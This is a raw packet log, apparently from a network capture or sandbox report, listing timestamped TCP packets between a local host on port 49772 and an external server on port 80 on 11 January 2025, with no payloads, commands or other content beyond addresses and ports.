Jan 11, 2025 01:55:39.629057884 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.629070044 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.629091978 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.629117012 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.629901886 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.629919052 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.629931927 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.629941940 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.629952908 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.629966021 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.629991055 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.630012989 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.683787107 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.683805943 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.683912992 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.713038921 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.713068962 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.713082075 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.713093042 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.713104963 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.713125944 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.713171005 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.716727018 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.716747046 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.716833115 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.749838114 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.749866009 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.749880075 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.749891996 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.749902010 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.749905109 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.749934912 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.749939919 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.749958992 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.749979973 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.750029087 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.750109911 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.750122070 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.750132084 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.750158072 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.750202894 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.750241041 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.750245094 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.750365019 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.750380039 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.750391960 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.750396967 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.750407934 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.750413895 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.750447989 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.750659943 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.750709057 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.750787973 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.750952959 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.750965118 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.750974894 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.750986099 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.750997066 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.751007080 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.751008034 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.751024961 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.751034975 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.751045942 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.751046896 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.751058102 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.751065016 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.751070023 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.751079082 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.751106977 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.751127958 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.751698971 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.751709938 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.751723051 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.751754045 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.751770973 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.751781940 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.751792908 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.751810074 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.751812935 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.751825094 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.751827002 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.751835108 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.751847029 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.751857042 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.751858950 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.751868963 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.751888990 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.751904964 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.752620935 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.752640009 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.752651930 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.752662897 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.752674103 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.752679110 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.752712965 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.752713919 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.752726078 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.752743006 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.752754927 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.752762079 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.752768993 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.752779007 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.752779961 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.752791882 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.752810955 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.752856016 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.753595114 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.753607988 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.753626108 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.753637075 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.753647089 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.753648043 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.753659010 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.753670931 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.753678083 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.753681898 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.753693104 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.753698111 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.753705025 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.753715992 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.753730059 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.753737926 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.753756046 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.753774881 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.754492044 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.754503965 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.754514933 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.754524946 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.754535913 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.754540920 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.754548073 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.754570961 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.754587889 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.757234097 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.762223005 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.775521040 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.775540113 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.775551081 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.775562048 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.775572062 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.775588036 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.775634050 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.777887106 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.804532051 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.804548025 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.804554939 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.804559946 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.804579020 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.804589033 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.804600000 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.804610014 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.804621935 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.804632902 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.804675102 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.808310986 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.808322906 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.808334112 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.808373928 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.841439009 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.841460943 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.841510057 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.841522932 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.841541052 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.841553926 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.841564894 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.841564894 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.841576099 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.841587067 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.841598034 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.841633081 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.841643095 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.841654062 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.841671944 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.841682911 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.841682911 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.841694117 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.841706038 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.841727972 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.841871977 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.841881990 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.841892958 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.841919899 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.874739885 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.874773979 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.874819040 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.874825001 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.874881029 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.874902010 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.874936104 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.874938011 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.874970913 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.874980927 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.875005007 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.875016928 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.875058889 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.875113010 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.875163078 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.875174046 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.875197887 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.875205994 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.875231028 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.875263929 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.875298023 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.875307083 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.875343084 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.875369072 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.875403881 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.875449896 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.875454903 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.875504971 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.875540018 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.875580072 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.875580072 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.875614882 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.875627041 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.875648975 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.875683069 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.875715971 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.875725985 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.875760078 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.875767946 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.875797987 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.875832081 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.875844002 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.875868082 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.875900984 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.875935078 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.875941038 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.875972033 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.875978947 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.876060963 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.876105070 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.876112938 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.876147985 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.876180887 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.876214027 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.876224041 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.876247883 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.876265049 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.876283884 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.876316071 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.876349926 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.876365900 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.876395941 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.876621008 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.876672983 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.876707077 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.876739025 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.876754999 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.876774073 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.876787901 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.876806974 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.876841068 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.876854897 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.876874924 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.876913071 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.876929045 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.876946926 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.876980066 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.877002001 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.877013922 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.877047062 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.877079964 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.877099037 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.877115965 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.877135992 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.877151012 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.877185106 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.877193928 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.877218962 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.877253056 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.877271891 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.880944967 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.880981922 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.880991936 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.881016970 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.881062031 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.881069899 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.881105900 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.881139040 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.881146908 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.881172895 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.881206036 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.881239891 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.881249905 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.881274939 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.881282091 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.881313086 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.881346941 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.881376028 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.881398916 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.881439924 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.881448984 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.881486893 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.881520987 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.881555080 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.881571054 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.881587982 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.881603003 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.881625891 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.881658077 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.881668091 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.881695032 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.881726980 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.881761074 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.881772041 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.881797075 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.881809950 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.881831884 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.881864071 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.881915092 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.882087946 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.896225929 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.896266937 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.896300077 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.896337032 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.896333933 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.896363974 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.896373034 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.896424055 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.896444082 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.896461964 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.896487951 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.899400949 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.900002003 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.900065899 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.900074005 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.900111914 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.900147915 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.900172949 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.900183916 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.900218964 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.900228024 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.900258064 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.900345087 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.905239105 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:39.933592081 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.933650017 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.933689117 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:39.933722973 CET	80	49772	193.143.1.205	192.168.2.9
